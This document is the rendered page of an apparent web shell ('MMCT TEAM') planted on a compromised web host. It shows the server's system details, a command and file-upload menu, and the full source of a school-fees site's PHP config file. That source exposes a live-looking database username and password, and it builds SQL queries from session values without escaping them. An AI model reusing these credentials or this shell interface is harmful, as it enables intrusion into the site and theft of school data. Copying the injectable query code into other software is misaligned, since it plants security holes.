MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/src/../config/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/src/../config/rootphp.php
<?php
  session_start();
 
class rootphp
{
    private $con;
	function __construct() {
    //   echo "object create<br>";
    }	
    public function connect()
    {
        // echo "connect<br>";
         $servername = "localhost";
 $host="localhost";
$username = "u926327694_raghuadmin1233";                
$password = "Raghu@48221";
$dbname = "u926327694_admin_onlinefe";
// $dbname = "superadmin";

 $this->conRoot=mysqli_connect($servername,$username,$password,$dbname); 
//  print_r($this->conRoot);
    }
    
    public function getRootCon(){
        
        return $this->conRoot;
    }
    public function close() {
        mysqli_close($this->conRoot);
        // echo "close<br>";
    }
    public function getRoot()
    {
     session_start();
     // If strict types are enabled i.e. declare(strict_types=1);
$file = file_get_contents('dirroot.txt', true);
// Otherwise
$file = file_get_contents('dirroot.txt', FILE_USE_INCLUDE_PATH);

$_SESSION["code"]=$_SESSION['MasterSchoolCode'];
 //echo $_SESSION["code"]; exit;
  $link=$_SESSION["code"];
 
return $link;
 
    }

    public function getAllData()
    {
    	$root=$this->getRoot();
    	$response=array();
    	$res=mysqli_query($this->conRoot,"SELECT * FROM `schools` WHERE `schoolCode` = '$root'")or die(mysqli_error($this->conRoot));
    	while($data=mysqli_fetch_array($res))
    	{
    		$response[]=$data;
    	}
    	return $response;
    }


    public function getFeesDB()
    {
      
        // echo "getFeesDB<br>";
         $root=$this->getRoot();
        $response=array();
       $sql="SELECT * FROM `schools` WHERE `schoolCode` = '$root'";
        $res=mysqli_query($this->conRoot,$sql)or die(mysqli_error($this->conRoot));
        
        
        
        while($data=mysqli_fetch_array($res))
        {
            //print_r($data);
             
            $response['dbUsernameFees']=$data['dbUsernameFees'];
            $response['dbUsernameStudent']=$data['dbUsernameStudent'];
            $response['dbUsernameLibrary']=$data['dbUsernameLibrary'];
           $response['dbPassword']=$data['dbPassword'];
            $response['dbFees']=$data['dbFees'];
             $response['dbStudent']=$data['dbStudent'];
              $response['dbLibrary']=$data['dbLibrary'];
             $response['smsId']=$data['smsId'];
            $response['smsApi']=$data['smsAPI'];
             $response['smsUrl']=$data['smsURL'];
             $response['schoolname']=$data['schoolname'];
             $response['schoolCode']=$data['schoolCode'];
             $response['startingDate']=$data['startingDate'];
             $response['endingDate']=$data['endingDate'];
             
             $response['feesAlertNumbers']=$data['feesAlertNumbers'];
             
        }
        return $response;
    }

}


    
    
    function is_decimal_school($decimalFeesSchool1) {
        $schoolCode = $_SESSION['code'];
        return in_array($schoolCode, $decimalFeesSchool1);
    }
 



?>

MMCT - 2023